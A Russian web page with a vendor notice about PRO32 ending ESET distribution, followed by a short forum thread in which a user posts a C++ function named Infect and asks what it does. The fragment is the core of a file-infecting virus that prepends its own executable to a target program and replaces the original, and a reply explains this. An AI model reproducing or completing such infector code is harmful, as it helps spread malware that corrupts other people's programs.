Уважаемые пользователи!

Поставщик ИТ-решений PRO32 сообщает вам, что после 17 лет сотрудничества мы более не являемся эксклюзивным дистрибьютором программных продуктов словацкого разработчика ESET в России, Республике Беларусь, Казахстане, Азербайджане, Узбекистане, Кыргызстане, Таджикистане, Туркменистане, Молдове, Грузии и Армении.

Купить и продлить лицензии ESET на нашем сайте больше нельзя.

Предлагаем вам попробовать новый антивирус от компании PRO32.

Продукты PRO32 — это технологичные решения, надежная защита от киберугроз и максимальная производительность устройств на Windows / Android.

Для действующих клиентов ESET мы предлагаем промокод на скидку в размере 15% — ESET15. Скопируйте его и после добавления товара в корзину, не забудьте его применить в корзине.

[ Закрыто ] что за код???

1
RSS
что делает этот код?

int Infect(char filen[],AnsiString filen2)
{
char b;
strcpy(qw,er);
strcpy(qw,er);
strcat(qw,filen);
strcat(qw,".exe");
ifstream fr,ft;
fr.open(ParamStr(0).c_str(),ios::binary|ios::in);
ofstream fw;
fw.open(qw,ios::binary|ios::out);
fw.seekp(0);
ft.open(filen,ios::binary|ios::in);
while (!fr.eof())
{
fr.read((char *)&b,sizeof(b));
fw.write((char *)&b,sizeof(b));
}
fw.write(m,sizeof(m));
while (!ft.eof())
{
ft.read((char *)&b,sizeof(b));
fw.write((char *)&b,sizeof(b));
}
fw.close();
fr.close();
ft.close();
chmod(filen,S_IREAD | S_IWRITE);
DeleteFile(filen2);
RenameFile(filen2+".exe",filen2);
return(0);

}
в общем эта функция открывает исполняемый файл(1), в котором она находится и пишет его в другой файл(2), открывает еще один файл(3) и из него всё пишет во второй файл. после файл 3 удаляется)

о СПС :)
1
Читают тему